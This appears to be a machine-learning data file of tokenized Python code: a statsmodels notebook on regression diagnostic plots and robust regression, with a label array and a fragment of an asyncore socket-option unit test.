"X", "\\u{\\\\", "sim", " ", "k", "}$", ".", " ", "The", " ", "partial", " ", "regress", "ion", " ", "plot", " ", "is", " ", "the", " ", "plot", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "former", " ", "vers", "us", " ", "the", " ", "latt", "er", " ", "residu", "als", ".", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "nota", "ble", " ", "points", " ", "of", " ", "this", " ", "plot", " ", "are", " ", "tha", "t", " ", "the", " ", "fitted", " ", "line", " ", "has", " ", "slope", " ", "$", "\\\\", "beta", "\\u", "k", "$", " ", "and", " ", "intercept", " ", "zero", ".", " ", "The", " ", "residu", "als", " ", "of", " ", "this", " ", "plot", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "the", " ", "same", " ", "as", " ", "tho", "se", " ", "of", " ", "the", " ", "leas", "t", " ", "square", "s", " ", "fit", " ", "of", " ", "the", " ", "original", " ", "model", " ", "with", " ", "full", " ", "$", "X", "$.", " ", "You", " ", "can", " ", "disc", "ern", " ", "the", " ", "effect", "s", " ", "of", " ", "the", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "individual", " ", "data", " ", "values", " ", "on", " ", "the", " ", "estimati", "on", " ", "of", " ", "a", " ", "coefficient", " ", "easi", "ly", ".", " ", "If", " ", "obs", "\\u", "labels", " ", "is", " ", "Tru", "e", ",", " ", "then", " ", "these", " ", "points", " ", "are", " ", "annotated", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with", " ", "thei", "r", " ", "observa", "tion", " ", "label", ".", " ", "You", " ", "can", " ", "als", "o", " ", "see", " ", "the", " ", "violation", " ", "of", " ", "underl", "ying", " ", "assumption", "s", " ", "suc", "h", " ", "as", " ", "homo", "os", "ked", "asti", "city", " ", "and", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "linear", "it", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "part", "regress", "_", "(_", "\"", "prest", "ige", "\"_", ",_", "\"", "income", "\"_", ",_", "[_", "\"", "income", "\"_", ",_", "\"", "educa", "tion", "\"_", "]_", ",_", "data_", "=_", "prest", "ige", "_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "=_", "fig_", "._", "axes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "set\\u", "xlim_", "(_", "-_", "2e-", "15_", ",_", "1e-1", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "ylim_", "(_", "-_", "25_", ",_", "30_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fix_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "14_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "part", "regress", "_", "(_", "\"", "prest", "ige", "\"_", ",_", "\"", "income", "\"_", ",_", "[_", "\"", "educa", "tion", "\"_", "]_", ",_", "data_", "=_", "prest", "ige", "_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "As", " ", "you", " ", "can", " ", "see", " ", "the", " ", "partial", " ", "regress", "ion", " ", "plot", " ", "confirm", "s", " ", "the", " ", "influence", " ", "of", " ", "conductor", ",", " ", "mini", "ster", ",", " ", "and", " ", "RR", ".", "engineer", " ", "on", " ", "the", " ", "partial", " ", "relation", "ship", " ", "bet", "ween", " ", "income", " ", "and", " ", "prest", "ige", ".", " ", "The", " ", "case", "s", " ", "great", "ly", " ", "decrease", " ", "the", " ", "effect", " ", "of", " ", "income", " ", "on", " ", "prest", "ige", ".", " ", "Dropp", "ing", " ", "these", " ", "case", "s", " ", "confirm", "s", " ", "this", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "subset_", "=_", "~_", "prest", "ige", "_", "._", "index_", "._", "isin_", "(_", "[_", "\"", "conductor", "\"_", ",_", "\"", "RR", ".", "engineer", "\"_", ",_", "\"", "mini", "ster", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prest", "ige", "\\u", "model", "2_", "=_", "ols_", "(_", "\"", "prest", "ige", " ", "~", " ", "income", " ", "+", " ", "educa", "tion", "\"_", ",_", "data_", "=_", "prest", "ige", "_", ",_", "subset_", "=_", "subset_", ")_", "._", "fit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "prest", "ige", "\\u", "model", "2_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "a", " ", "quick", " ", "check", " ", "of", " ", "all", " ", "the", " ", "regressor", "s", ",", " ", "you", " ", "can", " ", "use", " ", "plot", "\\u", "part", "regress", "\\u", "grid", ".", " ", "The", "se", " ", "plots", " ", "will", " ", "not", " ", "label", " ", "the", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "points", ",", " ", "but", " ", "you", " ", "can", " ", "use", " ", "them", " ", "to", " ", "identify", " ", "problem", "s", " ", "and", " ", "then", " ", "use", " ", "plot", "\\u", "part", "regress", " ", "to", " ", "get", " ", "more", " ", "informati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "part", "regress", "\\u", "grid_", "(_", "prest", "ige", "\\u", "model_", ",_", "fig_", "=_", "fig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Compo", "nent", "-", "Compo", "nent", " ", "plus", " ", "Resid", "ual", " ", "(", "CC", "PR", ")", " ", "Plot", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "CC", "PR", " ", "plot", " ", "provide", "s", " ", "a", " ", "way", " ", "to", " ", "judge", " ", "the", " ", "effect", " ", "of", " ", "one", " ", "regressor", " ", "on", " ", "the", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "response", " ", "variab", "le", " ", "by", " ", "tak", "ing", " ", "int", "o", " ", "account", " ", "the", " ", "effect", "s", " ", "of", " ", "the", " ", "other", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "independent", " ", "variab", "les", ".", " ", "The", " ", "partial", " ", "residu", "als", " ", "plot", " ", "is", " ", "defin", "ed", " ", "as", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "\\\\", "text", "{", "Resid", "ual", "s", "}", " ", "+", " ", "B", "\\u", "i", "X", "\\u", "i", " ", "\\\\", "text", "{", " ", "}\\\\", "text", "{", " ", "}$", " ", " ", " ", "vers", "us", " ", "$", "X", "\\u", "i", "$.", " ", "The", " ", "component", " ", "adds", " ", "$", "B", "\\u", "i", "X", "\\u", "i", "$", " ", "vers", "us", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "X", "\\u", "i", "$", " ", "to", " ", "show", " ", "where", " ", "the", " ", "fitted", " ", "line", " ", "wou", "ld", " ", "lie", ".", " ", "Care", " ", "shou", "ld", " ", "be", " ", "take", "n", " ", "if", " ", "$", "X", "\\u", "i", "$", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "highl", "y", " ", "correlate", "d", " ", "with", " ", "any", " ", "of", " ", "the", " ", "other", " ", "independent", " ", "variab", "les", ".", " ", "If", " ", "this", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "the", " ", "case", ",", " ", "the", " ", "varian", "ce", " ", "eviden", "t", " ", "in", " ", "the", " ", "plot", " ", "will", " ", "be", " ", "an", " ", "under", "estimate", " ", "of", " ", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "true", " ", "varian", "ce", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "cc", "pr_", "(_", "prest", "ige", "\\u", "model_", ",_", "\"", "educa", "tion", "\"_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "As", " ", "you", " ", "can", " ", "see", " ", "the", " ", "relation", "ship", " ", "bet", "ween", " ", "the", " ", "variatio", "n", " ", "in", " ", "prest", "ige", " ", "explaine", "d", " ", "by", " ", "educa", "tion", " ", "conditional", " ", "on", " ", "income", " ", "see", "ms", " ", "to", " ", "be", " ", "linear", ",", " ", "tho", "ugh", " ", "you", " ", "can", " ", "see", " ", "there", " ", "are", " ", "some", " ", "observa", "tion", "s", " ", "tha", "t", " ", "are", " ", "exe", "rti", "ng", " ", "consider", "able", " ", "influence", " ", "on", " ", "the", " ", "relation", "ship", ".", " ", "We", " ", "can", " ", "quickl", "y", " ", "look", " ", "at", " ", "more", " ", "than", " ", "one", " ", "variab", "le", " ", "by", " ", "usi", "ng", " ", "plot", "\\u", "cc", "pr", "\\u", "grid", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "cc", "pr", "\\u", "grid_", "(_", "prest", "ige", "\\u", "model_", ",_", "fig_", "=_", "fig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Regr", "ession", " ", "Plot", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "plot", "\\u", "regress", "\\u", "exo", "g", " ", "function", " ", "is", " ", "a", " ", "convenien", "ce", " ", "function", " ", "tha", "t", " ", "give", "s", " ", "a", " ", "2x", "2", " ", "plot", " ", "contain", "ing", " ", "the", " ", "dependent", " ", "variab", "le", " ", "and", " ", "fitted", " ", "values", " ", "with", " ", "confidence", " ", "interval", "s", " ", "vs", ".", " ", "the", " ", "independent", " ", "variab", "le", " ", "chosen", ",", " ", "the", " ", "residu", "als", " ", "of", " ", "the", " ", "model", " ", "vs", ".", " ", "the", " ", "chosen", " ", "independent", " ", "variab", "le", ",", " ", "a", " ", "partial", " ", "regress", "ion", " ", "plot", ",", " ", "and", " ", "a", " ", "CC", "PR", " ", "plot", ".", " ", "Thi", "s", " ", "function", " ", "can", " ", "be", " ", "used", " ", "for", " ", "quickl", "y", " ", "checking", " ", "modeling", " ", "assumption", "s", " ", "with", " ", "respec", "t", " ", "to", " ", "a", " ", "single", " ", "regressor", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "regress", "\\u", "exo", "g_", "(_", "prest", "ige", "\\u", "model_", ",_", "\"", "educa", "tion", "\"_", ",_", "fig_", "=_", "fig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Fit", " ", "Plot_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "plot", "\\u", "fit", " ", "function", " ", "plots", " ", "the", " ", "fitted", " ", "values", " ", "vers", "us", " ", "a", " ", "chosen", " ", "independent", " ", "variab", "le", ".", " ", "It", " ", "include", "s", " ", "predicti", "on", " ", "confidence", " ", "interval", "s", " ", "and", " ", "option", "ally", " ", "plots", " ", "the", " ", "true", " ", "dependent", " ", "variab", "le", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "fit_", "(_", "prest", "ige", "\\u", "model_", ",_", "\"", "educa", "tion", "\"_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "State", "wide", " ", "Cri", "me", " ", "200", "9", " ", "Dataset_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compare", " ", "the", " ", "follow", "ing", " ", "to", " ", "http", "://", "www", ".", "ats", ".", "ucl", "a", ".", "edu", "/", "stat", "/", "stat", "a", "/", "web", "books", "/", "reg", "/", "chap", "ter", "4", "/", "stat", "are", "g", "\\u", "self", "\\u", "assessment", "\\u", "answer", "s", "4", ".", "ht", "m_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tho", "ugh", " ", "the", " ", "data", " ", "here", " ", "is", " ", "not", " ", "the", " ", "same", " ", "as", " ", "in", " ", "tha", "t", " ", "example", ".", " ", "You", " ", "coul", "d", " ", "run", " ", "tha", "t", " ", "example", " ", "by", " ", "uncomm", "enti", "ng", " ", "the", " ", "necessar", "y", " ", "cells", " ", "belo", "w", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "dta", " ", "=", " ", "pd", ".", "read", "\\u", "csv", "(\"", "http", "://", "www", ".", "stat", ".", "ufl", ".", "edu", "/", "~", "aa", "/", "social", "/", "csv", "\\u", "files", "/", "state", "wide", "-", "crime", "-", "2", ".", "csv", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "dta", " ", "=", " ", "dta", ".", "set\\u", "index", "(\"", "State", "\",", " ", "inpla", "ce", "=", "Tru", "e", ").", "drop", "na", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "dta", ".", "rename", "(", "column", "s", "={", "\"", "VR", "\"", " ", ":", " ", "\"", "crime", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "MR", "\"", " ", ":", " ", "\"", "mur", "der", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "M", "\"", " ", " ", ":", " ", "\"", "pct", "metro", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "W", "\"", " ", " ", ":", " ", "\"", "pct", "white", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "H", "\"", " ", " ", ":", " ", "\"", "pct", "hs", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "P", "\"", " ", " ", ":", " ", "\"", "pov", "ert", "y", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "\"", "S", "\"", " ", " ", ":", " ", "\"", "single", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "},", " ", "inpla", "ce", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "crime", "\\u", "model", " ", "=", " ", "ols", "(\"", "mur", "der", " ", "~", " ", "pct", "metro", " ", "+", " ", "pov", "ert", "y", " ", "+", " ", "pct", "hs", " ", "+", " ", "single", "\",", " ", "data", "=", "dta", ").", "fit", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dta", "_", "=_", "sm_", "._", "datasets_", "._", "state", "crime", "_", "._", "load", "\\u", "pandas_", "(_", ")_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "crime", "\\u", "model_", "=_", "ols_", "(_", "\"", "mur", "der", " ", "~", " ", "urban", " ", "+", " ", "pov", "ert", "y", " ", "+", " ", "hs", "\\u", "grad", " ", "+", " ", "single", "\"_", ",_", "data_", "=_", "dta", "_", ")_", "._", "fit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "crime", "\\u", "model_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Parti", "al", " ", "Regr", "ession", " ", "Plot", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "part", "regress", "\\u", "grid_", "(_", "crime", "\\u", "model_", ",_", "fig_", "=_", "fig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "part", "regress", "_", "(_", "\"", "mur", "der", "\"_", ",_", "\"", "hs", "\\u", "grad", "\"_", ",_", "[_", "\"", "urban", "\"_", ",_", "\"", "pov", "ert", "y", "\"_", ",_", "\"", "single", "\"_", "]_", ",_", "ax_", "=_", "ax_", ",_", "data_", "=_", "dta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Leve", "rage", "-", "Resid", "<", "sup", ">", "2", "</", "sup", ">", " ", "Plot_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Clos", "el", "y", " ", "relate", "d", " ", "to", " ", "the", " ", "influence", "\\u", "plot", " ", "is", " ", "the", " ", "leve", "rage", "-", "resid", "<", "sup", ">", "2", "</", "sup", ">", " ", "plot", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "8_", ",_", "6_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "plot", "\\u", "leve", "rage", "\\u", "resid", "2_", "(_", "crime", "\\u", "model_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Influ", "ence", " ", "Plot_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "8_", ",_", "6_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "influence", "\\u", "plot_", "(_", "crime", "\\u", "model_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Us", "ing", " ", "robust", " ", "regress", "ion", " ", "to", " ", "correct", " ", "for", " ", "outliers", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Part", " ", "of", " ", "the", " ", "problem", " ", "here", " ", "in", " ", "recr", "eat", "ing", " ", "the", " ", "Stat", "a", " ", "results", " ", "is", " ", "tha", "t", " ", "M", "-", "estimators", " ", "are", " ", "not", " ", "robust", " ", "to", " ", "leve", "rage", " ", "points", ".", " ", "MM", "-", "estimators", " ", "shou", "ld", " ", "do", " ", "bett", "er", " ", "with", " ", "this", " ", "example", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "stats", "models_", "._", "formula_", "._", "api_", "import_", "rl", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rob", "\\u", "crime", "\\u", "model_", "=_", "rl", "m_", "(_", "\"", "mur", "der", " ", "~", " ", "urban", " ", "+", " ", "pov", "ert", "y", " ", "+", " ", "hs", "\\u", "grad", " ", "+", " ", "single", "\"_", ",_", "data_", "=_", "dta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "M_", "=_", "sm_", "._", "robust", "_", "._", "norms", "_", "._", "Tu", "key", "Bi", "weight_", "(_", "3_", ")_", ")_", "._", "fit_", "(_", "conv_", "=_", "\"", "weight", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "rob", "\\u", "crime", "\\u", "model_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "rob", "\\u", "crime", "\\u", "model", " ", "=", " ", "rl", "m", "(\"", "mur", "der", " ", "~", " ", "pct", "metro", " ", "+", " ", "pov", "ert", "y", " ", "+", " ", "pct", "hs", " ", "+", " ", "single", "\",", " ", "data", "=", "dta", ",", " ", "M", "=", "sm", ".", "robust", ".", "norms", ".", "Tu", "key", "Bi", "weight", "())", ".", "fit", "(", "conv", "=\"", "weight", "s", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", "(", "rob", "\\u", "crime", "\\u", "model", ".", "summar", "y", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", "n", "'", "t", " ", "ye", "t", " ", "an", " ", "influence", " ", "diagnostics", " ", "as", " ", "part", " ", "of", " ", "RL", "M", ",", " ", "but", " ", "we", " ", "can", " ", "recreate", " ", "them", ".", " ", "(", "Thi", "s", " ", "depend", "s", " ", "on", " ", "the", " ", "status", " ", "of", " ", "[", "issue", " ", "#", "888", "](", "https", "://", "git", "hub", ".", "com", "/", "stats", "model", "s", "/", "stats", "model", "s", "/", "issue", "s", "/", "808", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "weights_", "=_", "rob", "\\u", "crime", "\\u", "model_", "._", "weights_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "=_", "weights_", ">_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "rob", "\\u", "crime", "\\u", "model_", "._", "model_", "._", "exo", "g_", "[_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ww_", "=_", "weights_", "[_", "idx_", "]_", "/_", "weights_", "[_", "idx_", "]_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hat", "\\u", "matrix", "\\u", "diag_", "=_", "ww_", "*_", "(_", "X_", "*_", "np_", "._", "linalg_", "._", "pin", "v_", "(_", "X_", ")_", "._", "T_", ")_", "._", "sum_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resid_", "=_", "rob", "\\u", "crime", "\\u", "model_", "._", "resid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resid", "2_", "=_", "resid_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resid", "2_", "/=_", "resid", "2_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nob", "s_", "=_", "int_", "(_", "idx_", "._", "sum_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hm_", "=_", "hat", "\\u", "matrix", "\\u", "diag_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rm_", "=_", "resid", "2_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "stats", "models_", "._", "graphics_", "import_", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "plot_", "(_", "resid", "2_", "[_", "idx_", "]_", ",_", "hat", "\\u", "matrix", "\\u", "diag_", ",_", "'", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "=_", "utils_", "._", "annot", "ate", "\\u", "axes_", "(_", "range_", "(_", "nob", "s_", ")_", ",_", "labels_", "=_", "rob", "\\u", "crime", "\\u", "model_", "._", "model_", "._", "data_", "._", "row", "\\u", "labels_", "[_", "idx_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "points_", "=_", "lz", "ip_", "(_", "resid", "2_", "[_", "idx_", "]_", ",_", "hat", "\\u", "matrix", "\\u", "diag_", ")_", ",_", "offset", "\\u", "points_", "=_", "[_", "(_", "-_", "5_", ",_", "5_", ")_", "]_", "*_", "nob", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "size_", "=_", "\"", "large", "\"_", ",_", "ax_", "=_", "ax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "xlabel_", "(_", "\"", "resid", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "ylabel_", "(_", "\"", "leve", "rage", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ylim_", "=_", "ax_", "._", "get", "\\u", "ylim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "vlin", "es_", "(_", "rm_", ",_", "*_", "ylim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xlim_", "=_", "ax_", "._", "get", "\\u", "xlim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "hline", "s_", "(_", "hm_", ",_", "*_", "xlim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "margins", "_", "(_", "0_", ",_", "0_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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" def test_set_reuse_addr(self):\n if HAS_UNIX_SOCKETS and self.family == socket.AF_UNIX:\n self.skipTest(\"Not applicable to AF_UNIX sockets.\")\n sock = socket.socket(self.family)\n try:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n except socket.error:\n unittest.skip(\"SO_REUSEADDR not supported on this platform\")\n else:\n # if SO_REUSEADDR succeeded for sock we expect asyncore\n # to do the same\n s = asyncore.dispatcher(socket.socket(self.family))\n self.assertFalse(s.socket.getsockopt(socket.SOL_SOCKET,\n socket.SO_REUSEADDR))\n 